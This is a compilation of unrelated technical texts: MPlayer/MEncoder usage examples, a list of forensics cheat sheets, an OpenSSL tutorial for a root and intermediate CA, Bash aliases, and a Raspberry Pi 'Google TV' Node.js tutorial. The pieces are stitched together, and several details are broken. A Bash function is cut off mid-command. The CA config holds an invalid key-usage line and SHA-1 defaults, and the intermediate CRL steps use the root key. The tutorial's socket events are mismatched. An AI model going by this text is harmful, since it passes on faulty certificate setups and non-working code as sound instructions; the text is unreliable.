Play in Japanese with English subtitles:

mplayer dvd://1 -alang ja -slang en

Play only chapters 5, 6, 7:

mplayer dvd://1 -chapter 5-7

Play only titles 5, 6, 7:

mplayer dvd://5-7

Play a multiangle DVD:

mplayer dvd://1 -dvdangle 2

Play from a different DVD device:

mplayer dvd://1 -dvd-device /dev/:dvd2

Play DVD video from a directory with VOB files:

mplayer dvd://1 -dvd-device /path/:to/:directory/

Copy a DVD title to hard disk, saving to file title1.vob:

mplayer dvd://1 -dumpstream -dumpfile title1.vob

Stream from HTTP:

mplayer http://mplayer.hq/example.avi

Stream using RTSP:

mplayer rtsp://server.example.com/streamName

Convert subtitles to MPsub format:

mplayer dummy.avi -sub source.sub -dumpmpsub

Convert subtitles to MPsub format without watching the movie:

mplayer /dev/:zero -rawvideo pal:fps=xx -demuxer rawvideo -vc null -vo null -noframedrop -benchmark -sub source.sub -dumpmpsub

input from standard V4L:

mplayer tv:// -tv driver=v4l:width=640:height=480:outfmt=i420 -vc rawi420 -vo xv

Playback on Zoran cards (old style, deprecated):

mplayer -vo zr -vf scale=352:288 file.avi

Playback on Zoran cards (new style):

mplayer -vo zr2 -vf scale=352:288,zrmjpeg file.avi

Play a 6-channel AAC file with only two speakers:

mplayer -rawaudio format=0xff -demuxer rawaudio -af pan=2:.32:.32:.39:.06:.06:.39:.17:-.17:-.17:.17:.33:.33 adts_he-aac160_51.aac

You might want to play a bit with the pan values (e.g multiply with a value) to increase volume or avoid clipping.

checkerboard invert with geq filter:

mplayer -vf geq='128+(p(X,Y)-128)*(0.5-gt(mod(X/SW,128),64))*(0.5-gt(mod(Y/SH,128),64))*4'

EXAMPLES OF MENCODER USAGE

Encode DVD title #2, only selected chapters:

mencoder dvd://2 -chapter 10-15 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4

Encode DVD title #2, resizing to 640×480:

mencoder dvd://2 -vf scale=640:480 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4

Encode DVD title #2, resizing to 512xHHH (keep aspect ratio):

mencoder dvd://2 -vf scale -zoom -xy 512 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4

The same, but with bitrate set to 1800kbit and optimized macroblocks:

mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:mbd=1:vbitrate=1800

The same, but with MJPEG compression:

mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mjpeg:mbd=1:vbitrate=1800

Encode all *.jpg files in the current directory:

mencoder "mf://*.jpg" -mf fps=25 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4

Encode from a tuner (specify a format with -vf format):

mencoder -tv driver=v4l:width=640:height=480 tv:// -o tv.avi -ovc raw

Encode from a pipe:

rar p test-SVCD.rar | mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=800 -ofps 24 -

BUGS

Don’t panic. If you find one, report it to us, but please make sure you have read all of the documentation first. Also look out for smileys. :) Many bugs are the result of incorrect setup or parameter usage. The bug reporting section of the documentation (http://www.mplayerhq.hu/:DOCS/:HTML/:en/:bugreports.html) explains how to create useful bug reports.

AUTHORS

MPlayer was initially written by Arpad Gereoffy. See the AUTHORS file for a list of some of the many other contributors.

MPlayer is (C) 2000-2007 The MPlayer Team

This man page was written mainly by Gabucino, Jonas Jermann and Diego Biurrun. It is maintained by Diego Biurrun. Please send mails about it to the MPlayer-DOCS mailing list. Translation specific mails belong on the MPlayer-translations mailing list.

Digital Forensics Cheat Sheets Collection


DFIR “Memory Forensics” Poster – Analysts armed with memory analysis skills have a better chance to detect and stop a breach before you become the next news headline. This poster shows some of the structures analyzed during memory forensic investigations. Just as those practicing disk forensics benefit from an understanding of file systems, memory forensic practitioners also benefit from an understanding of OS internal structures.
Download Here


DFIR “Advanced Smartphone Forensics” Poster– Forensic investigations often rely on data extracted from smartphones and tablets. Smartphones are the most personal computing device associated to any user, and can therefore provide the most relevant data per gigabyte examined. Commercial tools often miss digital evidence on smartphones and associated applications, and improper handling can render the data useless. Use this poster as a cheat-sheet to help you remember how to handle smartphones, where to obtain actionable intelligence, and how to recover and analyze data on the latest smartphones and tablets.
Download Here


DFIR “Evidence of…” Poster– The “Evidence of…” categories were originally created by SANS Digital Forensics ad Incidence Response faculty for the SANS course FOR408 – Windows Forensics. The categories map a specific artifact to the analysis questions that it will help to answer. Use this poster as a cheat-sheet to help you remember where you can discover key items to an activity for Microsoft Windows systems for intrusions, intellectual property theft, or common cyber crimes.
Download Here


DFIR “Find Evil” Poster – In an intrusion case, spotting the difference between abnormal and normal is often the difference between success and failure. Your mission is to quickly identify suspicious artifacts in order to verify potential intrusions. Use the information below as a reference for locating anomalies that could reveal the actions of an attacker.
Download Here


DFIR SIFT 3.0 Cheat Sheets and Brochure – Inside our DFIR course catalog you will find two critical cheat sheets. SIFT 3.0 guide and the Memory Forensics cheat sheets.
Download Here


SIFT Cheat Sheet – Looking to use the SIFT workstation and need to know your way around the interface? No problem, this cheat sheet will give you the basic commands to get cracking open your case using the latest cutting edge forensic tools.
Download Here


Evidence Collection Cheat Sheet – This sheet covers the various locations where evidence to assist in an investigation may be located.
Download Here


Linux Shell Survival Guide – This guide is a supplement to SANS FOR572: Advanced Network Forensics and Analysis. It covers some of what we consider the more useful Linux shell primitives and core utilities. These can be exceedingly helpful when automating analysis processes, generating output that can be copied and pasted into a report or spreadsheet document, or supporting quick-turn responses when a full tool kit is not available.
Download Here


Windows to Unix Cheat Sheet – It helps to know how to translate between windows and unix. This handy reference guide ties together many well known Unix commands with their Windows command line siblings. A great way to get Windows users familiar with the command line quickly.
Download Here


Log2timeline Cheat Sheet – Creating a timeline is easy with the essential reference guide. The step by step nature of the log2timeline cheat sheet will enable anyone not familiar with the process to step through creation of their first timeline in no time.
Download Here


Memory Forensics Cheat Sheet – Covering the popular memory suite Volatility, this cheat sheet will empower each investigator the key knowledge to quickly step through the 6 step memory analysis process using key commands from the plugins. This reference guide is very useful to have near you for those just starting out in memory forensics or those who are experts who need to quickly remember plugin syntax.
Download Here


Hex and Regex Forensics Cheat Sheet – Quickly become a master of sorting through massive amounts of data quickly using this useful guide to knowing how to use simple Regex capabilities built into the SIFT workstation.
Download Here


Developing Process for Mobile Device Forensics (Det. Cynthia A. Murphy)- With the growing demand for examination of cellular phones and other mobile devices, a need has also developed for the development of process guidelines for the examination of these devices. While the specific details of the examination of each device may differ, the adoption of consistent examination processes will assist the examiner in ensuring that the evidence extracted from each phone is well documented and that the results are repeatable and defensible.
Download Here


SANS FOR518 Reference Sheet – This cheat sheet is used to describe the core functions and details of the HFS+ Filesystem.
Download Here

OpenSSL command line Root and Intermediate CA including OCSP, CRL and revocation


These are quick and dirty notes on generating a certificate authority (CA), intermediate certificate authorities and end certificates using OpenSSL. It includes OCSP, CRL and CA Issuer information and specific issue and expiry dates.

We’ll set up our own root CA. We’ll use the root CA to generate an example intermediate CA. We’ll use the intermediate CA to sign end user certificates.

Root CA

Create and move in to a folder for the root ca:

mkdir ~/SSLCA/root/
cd ~/SSLCA/root/

Generate a 8192-bit long SHA-256 RSA key for our root CA:

openssl genrsa -aes256 -out rootca.key 8192

Example output:

Generating RSA private key, 8192 bit long modulus
.........++
....................................................................................................................++
e is 65537 (0x10001)

If you want to password-protect this key, add the option -aes256.

Create the self-signed root CA certificate ca.crt; you’ll need to provide an identity for your root CA:

openssl req -sha256 -new -x509 -days 1826 -key rootca.key -out rootca.crt

Example output:

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:Zuid Holland
Locality Name (eg, city) []:Rotterdam
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Sparkling Network
Organizational Unit Name (eg, section) []:Sparkling CA
Common Name (e.g. server FQDN or YOUR name) []:Sparkling Root CA
Email Address []:

Create a few files where the CA will store it’s serials:

touch certindex
echo 1000 > certserial
echo 1000 > crlnumber

Place the CA config file. This file has stubs for CRL and OCSP endpoints.

# vim ca.conf
[ ca ]
default_ca = myca

[ crl_ext ]
issuerAltName=issuer:copy 
authorityKeyIdentifier=keyid:always

 [ myca ]
 dir = ./
 new_certs_dir = $dir
 unique_subject = no
 certificate = $dir/rootca.crt
 database = $dir/certindex
 private_key = $dir/rootca.key
 serial = $dir/certserial
 default_days = 730
 default_md = sha1
 policy = myca_policy
 x509_extensions = myca_extensions
 crlnumber = $dir/crlnumber
 default_crl_days = 730

 [ myca_policy ]
 commonName = supplied
 stateOrProvinceName = supplied
 countryName = optional
 emailAddress = optional
 organizationName = supplied
 organizationalUnitName = optional

 [ myca_extensions ]
 basicConstraints = critical,CA:TRUE
 keyUsage = critical,any
 subjectKeyIdentifier = hash
 authorityKeyIdentifier = keyid:always,issuer
 keyUsage = digitalSignature,keyEncipherment,cRLSign,keyCertSign
 extendedKeyUsage = serverAuth
 crlDistributionPoints = @crl_section
 subjectAltName  = @alt_names
 authorityInfoAccess = @ocsp_section

 [ v3_ca ]
 basicConstraints = critical,CA:TRUE,pathlen:0
 keyUsage = critical,any
 subjectKeyIdentifier = hash
 authorityKeyIdentifier = keyid:always,issuer
 keyUsage = digitalSignature,keyEncipherment,cRLSign,keyCertSign
 extendedKeyUsage = serverAuth
 crlDistributionPoints = @crl_section
 subjectAltName  = @alt_names
 authorityInfoAccess = @ocsp_section

 [alt_names]
 DNS.0 = Sparkling Intermidiate CA 1
 DNS.1 = Sparkling CA Intermidiate 1

 [crl_section]
 URI.0 = http://pki.sparklingca.com/SparklingRoot.crl
 URI.1 = http://pki.backup.com/SparklingRoot.crl

 [ocsp_section]
 caIssuers;URI.0 = http://pki.sparklingca.com/SparklingRoot.crt
 caIssuers;URI.1 = http://pki.backup.com/SparklingRoot.crt
 OCSP;URI.0 = http://pki.sparklingca.com/ocsp/
 OCSP;URI.1 = http://pki.backup.com/ocsp/

If you need to set a specific certificate start / expiry date, add the following to [myca]

# format: YYYYMMDDHHMMSS
default_enddate = 20191222035911
default_startdate = 20181222035911

Creating Intermediate 1 CA

Generate the intermediate CA’s private key:

openssl genrsa -out intermediate1.key 4096

Generate the intermediate1 CA’s CSR:

openssl req -new -sha256 -key intermediate1.key -out intermediate1.csr

Example output:

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:Zuid Holland
Locality Name (eg, city) []:Rotterdam
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Sparkling Network
Organizational Unit Name (eg, section) []:Sparkling CA
Common Name (e.g. server FQDN or YOUR name) []:Sparkling Intermediate CA
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Make sure the subject (CN) of the intermediate is different from the root.

Sign the intermediate1 CSR with the Root CA:

openssl ca -batch -config ca.conf -notext -in intermediate1.csr -out intermediate1.crt

Example Output:

Using configuration from ca.conf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'NL'
stateOrProvinceName   :ASN.1 12:'Zuid Holland'
localityName          :ASN.1 12:'Rotterdam'
organizationName      :ASN.1 12:'Sparkling Network'
organizationalUnitName:ASN.1 12:'Sparkling CA'
commonName            :ASN.1 12:'Sparkling Intermediate CA'
Certificate is to be certified until Mar 30 15:07:43 2017 GMT (730 days)

Write out database with 1 new entries
Data Base Updated

Generate the CRL (both in PEM and DER):

openssl ca -config ca.conf -gencrl -keyfile rootca.key -cert rootca.crt -out rootca.crl.pem

openssl crl -inform PEM -in rootca.crl.pem -outform DER -out rootca.crl

Generate the CRL after every certificate you sign with the CA.

If you ever need to revoke the this intermediate cert:

openssl ca -config ca.conf -revoke intermediate1.crt -keyfile rootca.key -cert rootca.crt

Configuring the Intermediate CA 1

Create a new folder for this intermediate and move in to it:

mkdir ~/SSLCA/intermediate1/
cd ~/SSLCA/intermediate1/

Copy the Intermediate cert and key from the Root CA:

cp ~/SSLCA/root/intermediate1.key ./
cp ~/SSLCA/root/intermediate1.crt ./

Create the index files:

touch certindex
echo 1000 > certserial
echo 1000 > crlnumber

Create a new ca.conf file:

# vim ca.conf
[ ca ]
default_ca = myca

[ crl_ext ]
issuerAltName=issuer:copy 
authorityKeyIdentifier=keyid:always

 [ myca ]
 dir = ./
 new_certs_dir = $dir
 unique_subject = no
 certificate = $dir/intermediate1.crt
 database = $dir/certindex
 private_key = $dir/intermediate1.key
 serial = $dir/certserial
 default_days = 365
 default_md = sha1
 policy = myca_policy
 x509_extensions = myca_extensions
 crlnumber = $dir/crlnumber
 default_crl_days = 365

 [ myca_policy ]
 commonName = supplied
 stateOrProvinceName = supplied
 countryName = optional
 emailAddress = optional
 organizationName = supplied
 organizationalUnitName = optional

 [ myca_extensions ]
 basicConstraints = critical,CA:FALSE
 keyUsage = critical,any
 subjectKeyIdentifier = hash
 authorityKeyIdentifier = keyid:always,issuer
 keyUsage = digitalSignature,keyEncipherment
 extendedKeyUsage = serverAuth
 crlDistributionPoints = @crl_section
 subjectAltName  = @alt_names
 authorityInfoAccess = @ocsp_section

 [alt_names]
 DNS.0 = example.com
 DNS.1 = example.org

 [crl_section]
 URI.0 = http://pki.sparklingca.com/SparklingIntermidiate1.crl
 URI.1 = http://pki.backup.com/SparklingIntermidiate1.crl

 [ocsp_section]
 caIssuers;URI.0 = http://pki.sparklingca.com/SparklingIntermediate1.crt
 caIssuers;URI.1 = http://pki.backup.com/SparklingIntermediate1.crt
 OCSP;URI.0 = http://pki.sparklingca.com/ocsp/
 OCSP;URI.1 = http://pki.backup.com/ocsp/

Change the [alt_names] section to whatever you need as Subject Alternative names. Remove it including thesubjectAltName = @alt_names line if you don’t want a Subject Alternative Name.

If you need to set a specific certificate start / expiry date, add the following to [myca]

# format: YYYYMMDDHHMMSS
default_enddate = 20191222035911
default_startdate = 20181222035911

Generate an empty CRL (both in PEM and DER):

openssl ca -config ca.conf -gencrl -keyfile rootca.key -cert rootca.crt -out rootca.crl.pem

openssl crl -inform PEM -in rootca.crl.pem -outform DER -out rootca.crl

Creating end user certificates

We use this new intermediate CA to generate an end user certificate. Repeat these steps for every end user certificate you want to sign with this CA.

mkdir enduser-certs

Generate the end user’s private key:

openssl genrsa -out enduser-certs/enduser-example.com.key 4096

Generate the end user’s CSR:

openssl req -new -sha256 -key enduser-certs/enduser-example.com.key -out enduser-certs/enduser-example.com.csr

Example output:

You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:NL
State or Province Name (full name) [Some-State]:Noord Holland
Locality Name (eg, city) []:Amsterdam
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Example Inc
Organizational Unit Name (eg, section) []:IT Dept
Common Name (e.g. server FQDN or YOUR name) []:example.com
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Sign the end user’s CSR with the Intermediate 1 CA:

openssl ca -batch -config ca.conf -notext -in enduser-certs/enduser-example.com.csr -out enduser-certs/enduser-example.com.crt

Example output:

Using configuration from ca.conf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'NL'
stateOrProvinceName   :ASN.1 12:'Noord Holland'
localityName          :ASN.1 12:'Amsterdam'
organizationName      :ASN.1 12:'Example Inc'
organizationalUnitName:ASN.1 12:'IT Dept'
commonName            :ASN.1 12:'example.com'
Certificate is to be certified until Mar 30 15:18:26 2016 GMT (365 days)

Write out database with 1 new entries
Data Base Updated

Generate the CRL (both in PEM and DER):

openssl ca -config ca.conf -gencrl -keyfile intermediate1.key -cert intermediate1.crt -out intermediate1.crl.pem

openssl crl -inform PEM -in intermediate1.crl.pem -outform DER -out intermediate1.crl

Generate the CRL after every certificate you sign with the CA.

If you ever need to revoke the this end users cert:

openssl ca -config ca.conf -revoke enduser-certs/enduser-example.com.crt -keyfile intermediate1.key -cert intermediate1.crt

Example output:

Using configuration from ca.conf
Revoking Certificate 1000.
Data Base Updated

Create the certificate chain file by concatenating the Root and intermediate 1 certificates together.

cat ../root/rootca.crt intermediate1.crt > enduser-certs/enduser-example.com.chain

Send the following files to the end user:

enduser-example.com.crt
enduser-example.com.key
enduser-example.com.chain

You can also let the end user supply their own CSR and just send them the .crt file. Do not delete that from the server, otherwise you cannot revoke it.

Validating the certificate

You can validate the end user certificate against the chain using the following command:

openssl verify -CAfile enduser-certs/enduser-example.com.chain enduser-certs/enduser-example.com.crt 
enduser-certs/enduser-example.com.crt: OK

You can also validate it against the CRL. Concatenate the PEM CRL and the chain together first:

cat ../root/rootca.crt intermediate1.crt intermediate1.crl.pem > enduser-certs/enduser-example.com.crl.chain

Verify the certificate:

openssl verify -crl_check -CAfile enduser-certs/enduser-example.com.crl.chain enduser-certs/enduser-example.com.crt

Output when not revoked:

enduser-certs/enduser-example.com.crt: OK

Output when revoked:

enduser-certs/enduser-example.com.crt: CN = example.com, ST = Noord Holland, C = NL, O = Example Inc, OU = IT Dept
error 23 at 0 depth lookup:certificate revoked

Some Bash and Arch Tweaks


So, I have some nice tips for your .bashrc, with screenshots. Also a handy command to show your biggest packages in pacman/arch.

Simple Calendar with today marked as ##

tcal

alias tcal='cal | sed "s/^/ /;s/$/ /;s/ $(date +%e) / $(date +%e | sed '''s/./#/g''') /"' 
Fast cd up:
alias ..='cd ..'
alias ...='cd ../..' 
Network Info (LAN IP, IP and MAC):

netinf

netinfo ()
{
echo "Internal IPv4 address of eth0: "; ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'
echo "External IPv4 address: "; wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/
Biggest folders in directory Gigabyte version:

dug

alias dug='du -h | grep ^[0-9.]*G | sort -rn | head -n 20'
Biggest folders in directory Megabyte version:

dum

alias dum='du -h | grep ^[0-9.]*M | sort -rn | head -n 20'
Process Grep:

pg

alias pg='ps -ef | grep '
Nice greeting when opening a bash shell:

welcome

PS1="u@h  -  tn${PWD}/ -$ "
echo "Welkom Remy,"
echo "Het is vandaag:";
date
echo "Deze PC draait op een:" 
/bin/uname -p
echo ""
netinfo;

(put this one at the end of your .bashrc file)

And the huge packages finder:

dup

#!/bin/bash
pacman -Qi | awk '/Name/ { name=$3 } /Size/ { printf "%.3fMBt%sn", $4/1024, name }' | sort -rh | head -n $1
exit 0

(I’ve put this in /usr/bin/dup and chmodded it to 755).

Build your own Google TV Using Raspberry Pi


Build your own Google TV Using RaspberryPi

Please note that this project is not intended to replicate an actual GoogleTV, but it’s simply a proof of concept using modern web technologies.

This is the new project I will ‘try-out’ in the next few days [ which I actually dig out from Donald’s Blog ]. All Credit goes to him along with a big TnX for this wonderful idea. Make sure to support the developer and visit his page and [ also fork the project]. This workshop was given at Lamba Labs Beirut First Hackerspace after a series of lightning talks check out the presentation here If you’d like to bypass the tutorial and jump into the fun stuff, you can always  fork the code on Github

Google-tv-logo3-l

What’s Google TV ?

Turned out that Google is also doing its own thing for the 10-foot screen. Google announced 2 versions of their famous new TV, the first is called the Buddy Box which is currently an expensive box manufactured by Sony and the second is an Integrated TV built right into the TV set that will be announced soon.

The Google TV looks something like that:

google_tv_preview

Google TV preview

Developers: you can start building your own Web Apps for the Google TV or renovate any android app to fit the 10′ Screen, all the resources can be found at Google’s Developers Site


Build your own Google TV

Hackers & makers like to re-invent the wheel, and it’s always fun when you do. So we’re going tobuild our own version of the Google TV using the following open source technologies:

Hardware:

Software Stack:

  • Raspbian OS – a Debian distro specially made for the rPi
  • NodeJsChromium Browser
    • Socket.io – to handle the connection between our remote and our TV via websockets
    • Express – to handle some basic http requests
    • Omxcontrol – a simple module to control the OMXPlayer which is the best video player on the rPi
  • OMXPlayer
  • Youtube-dl – a script that let you download youtube videos
  • QuoJS – to handle swipe gestures on the mobile web app
  • HTML5, CSS3 transitions, Javascript, and Moustache as a template engine
  • Youtube API


The end result

raspberrypi_tv_google_tv
Raspberry Pi TV with its special remote controller

Walkthrough

The project is divided into 4 main categories:

  1. Installing the software stack
  2. Basic shell commands & scripts
  3. Building the backend: NodeJS + Express + Socket.io
  4. Building the front end


1.Installing the software stack:

INSTALL RASPBIAN & NODEJS

Follow this tutorial to install Raspbian and Node Js on your Raspberry Pi

INSTALL CHROMIUM & YOUTUBE-DL

Install Chromium Browser for the Raspberry Pi Source

sudo apt-get install chromium-browser

In order to have a better display you can also install MC core fonts using

sudo apt-get install ttf-mscorefonts-installer

Install and Update Youtube Downloader

sudo apt-get install youtube-dl 

sudo youtube-dl -U

Note-1: There’s a problem when you want to stream videos on the RaspberryPi from youtube in Chromium, they’re extremely slow because the videos are not being rendered on the GPU. Youtube-dl comes as a quick alternative, the video is downloaded instead then played by the OMXPlayer which will render our videos on the GPU giving us a good quality of HD videos.

Note-2: The OMXPlayer is installed by default on the Raspbian.


2.Basic shell commands & scripts

If you’re using SSH to connect to your RaspberryPi you should first add “DISPLAY=:0.0″ to your env variables, by simply executing

export DISPLAY=:0.0

To check all your environment variables

env

Test Chromium in Kiosk Mode:

chromium --kiosk http://www.google.com

Test Youtube-dl

youtube-dl youtube_video_url

I’ve added few parameters to youtube-dl to change the name of the downloaded file to be just the “-o youtube ID [dot] the extension” and with the “-f /22/18 ” I can force this script to download for me a 720p version of the video. Check out the full list of supported youtube formats here

youtube-dl  -o "%(id)s.%(ext)s" -f /22/18 youtube_video_url

After downloading the video, try playing it using OMXPLayer

omxplayer youtube_video_file

Have fun trying the keyboard shortcuts to pause/resume your video and a lot more

Fancy! Let’s automate this process using Node JS


Building the backend: NodeJS + Express + Socket.io

The source code is intended to be simple for the sake of the workshop. Here’s the project’s hierarchy:

  • publicapp.js
    • js
    • css
    • images
    • fonts
    • index.html
    • remote.html
  • package.json

Package.json – A JSON file needed by npm to auto-install dependencies and save some basic info about your project

{
    "name": "GoogleTV-rPi",
    "version": "0.0.1",
    "private": false,
    "scripts": {
        "start": "node app.js"
    },
    "dependencies": {
    "express": "3.1.1",
    "socket.io":"0.9.14",
    "omxcontrol":"*"
    }
}

after creating this file, go to your app directory and run the following to install the dependencies.

npm install
Note-3: Notice that a folder called node_modules will be created prior to this action, if you like to use git, don’t forget to create a .gitignore file and simply write into it “node_modules” this will ignore the folder node_modules from being added to your git project

Create the app.js file and lets start by creating our basic HTTP Express Server

var express = require('express')
  , app = express()  
  , server = require('http').createServer(app)
  , path = require('path')

// all environments
app.set('port', process.env.TEST_PORT || 8080);
app.use(express.favicon());
app.use(express.logger('dev'));
app.use(express.bodyParser());
app.use(express.methodOverride());
app.use(express.static(path.join(__dirname, 'public')));

//Routes
app.get('/', function (req, res) {
  res.sendfile(__dirname + '/public/index.html');
});

app.get('/remote', function (req, res) {
  res.sendfile(__dirname + '/public/remote.html');
});

server.listen(app.get('port'), function(){
  console.log('Express server listening on port ' + app.get('port'));
});

This is our basic Express HTTP server configuration with our routes. To test what’ve done so far, you should first create the index.html and remote.html files inside the public/ directory, write your favorite “Hello, World” messages into them, then go back to your terminal and execute

node app.js

or

npm start
Note-4: That will only work if you have added the following piece of code to your package.json
...
"scripts": {
        "start": "node app.js"
    },
...

Once your server starts it will output that Express server listening on port 8080
To test your “Hello, World” pages you should run this application in the background by simply doing

node app.js &

Now this is the most primitive way to launch a Node application in the background, while learning node you might bump into some modules that automates this simple task, just likeForever.js

Now we have our Node Application up and running in the background, let’s open chromium in kiosk mode and test our Hello, World pages.

chromium --kiosk http://localhost:8080


Adding the Socket.io Magic

I strongly believe that WebSockets are the foundation of the modern web, I always like to point out the following analogy that helped me understand Socket.io

When AJAX first popped out, old skool developers felt its magic, but they’ve encountered many problems due to how different browsers handle Asynchronous JavaScript and XML requests. jQuery came with the solution by providing a nice and minimal set of functions to deal with the browsers nightmare. Socket.io did the same but for WebSockets, even more!

In order to provide realtime connectivity on every browser, Socket.IO selects the most capable transport at runtime, without it affecting the API.

  1. WebSocket
  2. Adobe® Flash® Socket
  3. AJAX long polling
  4. AJAX multipart streaming
  5. Forever Iframe
  6. JSONP Polling

In order to integrate Socket.io we should add the following to our app.js file:

var express = require('express')
  , app = express()  
  , server = require('http').createServer(app)
  , path = require('path')
  , io = require('socket.io').listen(server)
  , spawn = require('child_process').spawn

and to minify the logs add this:

//Socket.io Config
io.set('log level', 1);

When developing with Socket.io always think like you’re creating a Hello, World Chat Application. I’ve added a simple Chat Application done with Node & Socket.io on a github repo for the sake of this tutorial!

Our Socket.io Server is ready, but it doesn’t do anything, we should implement how we process messages and events sent from the client to the server.

Here’s how you implement this on the server’s side, note that you should also implement how you handle messages on the client’s side, we will see that as we progress throughout this tutorial.

io.sockets.on('connection', function (socket) {
    socket.emit('message', { message: 'welcome to the chat' });
    socket.on('send', function (data) {
        //Emit to all
        io.sockets.emit('message', data);
    });
});

Now our server Emits the message “message” whenever a new client is connected, and waits for an event name “send” to process the data and emit it back to all connected clients

In our case We have two types of clients: The RaspberryPi Display (Screen) and the Mobile Web Application (Remote)

var ss;
//Socket.io Server
io.sockets.on('connection', function (socket) {

 socket.on("screen", function(data){
   socket.type = "screen";
   //Save the screen socket
   ss = socket;
   console.log("Screen ready...");
 });

 socket.on("remote", function(data){
   socket.type = "remote";
   console.log("Remote ready...");
   if(ss != undefined){
      console.log("Synced...");
   }
 });
)};


Client Side Sockets Handeling

inside remote.html we should have the following:


    <script src="/socket.io/socket.io.js"> </script>
    <script>
      //use http://raspberryPi.local if your using Avahi Service 
          //or use your RasperryPi IP instead
          var socket = io.connect('http://raspberrypi.local:8080');
      socket.on('connect', function(data){
        socket.emit('screen');
      });
    </script>

On our index.html


    <script src="/socket.io/socket.io.js"> </script>
    <script>
      //use http://raspberryPi.local if your using Avahi Service 
          //or use your RasperryPi IP instead
          var socket = io.connect('http://raspberrypi.local:8080');
      socket.on('connect', function(data){
        socket.emit('screen');
      });
    </script>


Execute Shell Commands from Node Server

Node enables us to run a system command within a new child process, and listen in on its input/output. This includes being able to pass arguments to the command, and even pipe the results of one command to another. 

The basic way of executing shell commands from NodeJS is very simple

spawn('echo',['foobar']);

But if you want to pipe in the output, you should add the following function to your app.js file:

//Run and pipe shell script output 
function run_shell(cmd, args, cb, end) {
    var spawn = require('child_process').spawn,
        child = spawn(cmd, args),
        me = this;
    child.stdout.on('data', function (buffer) { cb(me, buffer) });
    child.stdout.on('end', end);
}


Adding OMXControl – the OMXPlayer controller Node Module

Luckily I found a node module on npmjs.org that let you control your OMXPlayer using Express!
just add the following to your app.js file to use it.

var omx = require('omxcontrol');

//use it with express
app.use(omx());

This will create for us the following routes, that we can use to control and play our videos:

http://localhost:8080/omx/start/:filename

http://localhost:8080/omx/pause


http://localhost:8080/omx/quit

Pretty Awesome!


Putting it all together

Our evolved app.js file


/**
 * Module dependencies.
 */

var express = require('express')
  , app = express()  
  , server = require('http').createServer(app)
  , path = require('path')
  , io = require('socket.io').listen(server)
  , spawn = require('child_process').spawn
  , omx = require('omxcontrol');

// all environments
app.set('port', process.env.TEST_PORT || 8080);
app.use(express.favicon());
app.use(express.logger('dev'));
app.use(express.bodyParser());
app.use(express.methodOverride());
app.use(express.static(path.join(__dirname, 'public')));
app.use(omx());

//Routes
app.get('/', function (req, res) {
  res.sendfile(__dirname + '/public/index.html');
});

app.get('/remote', function (req, res) {
  res.sendfile(__dirname + '/public/remote.html');
});

//Socket.io Congfig
io.set('log level', 1);

server.listen(app.get('port'), function(){
  console.log('Express server listening on port ' + app.get('port'));
});

//Run and pipe shell script output 
function run_shell(cmd, args, cb, end) {
    var spawn = require('child_process').spawn,
        child = spawn(cmd, args),
        me = this;
    child.stdout.on('data', function (buffer) { cb(me, buffer) });
    child.stdout.on('end', end);
}

//Save the Screen Socket in this variable
var ss;
//Socket.io Server
io.sockets.on('connection', function (socket) {

 socket.on("screen", function(data){
   socket.type = "screen";
   ss = socket;
   console.log("Screen ready...");
 });
 socket.on("remote", function(data){
   socket.type = "remote";
   console.log("Remote ready...");
 });

 socket.on("controll", function(data){
    console.log(data);
   if(socket.type === "remote"){

     if(data.action === "tap"){
         if(ss != undefined){
            ss.emit("controlling", {action:"enter"}); 
            }
     }
     else if(data.action === "swipeLeft"){
      if(ss != undefined){
          ss.emit("controlling", {action:"goLeft"}); 
          }
     }
     else if(data.action === "swipeRight"){
       if(ss != undefined){
           ss.emit("controlling", {action:"goRight"}); 
           }
     }
   }
 });

 socket.on("video", function(data){

    if( data.action === "play"){
    var id = data.video_id,
         url = "http://www.youtube.com/watch?v="+id;

    var runShell = new run_shell('youtube-dl',['-o','%(id)s.%(ext)s','-f','/18/22',url],
        function (me, buffer) { 
            me.stdout += buffer.toString();
            socket.emit("loading",{output: me.stdout});
            console.log(me.stdout)
         },
        function () { 
            //child = spawn('omxplayer',[id+'.mp4']);
            omx.start(id+'.mp4');
        });
    }    

 });
});


Building the front-end

Raspberry Pi TV Screen Front-end

Raspberry Pi TV Screen Front-end

Describing in details how I built the front-end is outside the scope of this tutorial, however I would like to point out few tips that I discovered while doing this project over the weekend.

When designing for the 10′ Screen there’s some design considerations that you should follow, Google assembled a nice set of these standards on their Developers Site

Raspberry Pi TV Remote

Raspberry Pi TV Remote

Instead of creating a typical remote, full of fake buttons, I decided to give QuoJS a try, it’s really fantastic and easy to use!

$$(".r-container").swipeLeft(function(){
socket.emit('control',{action:"swipeLeft"}); 
});

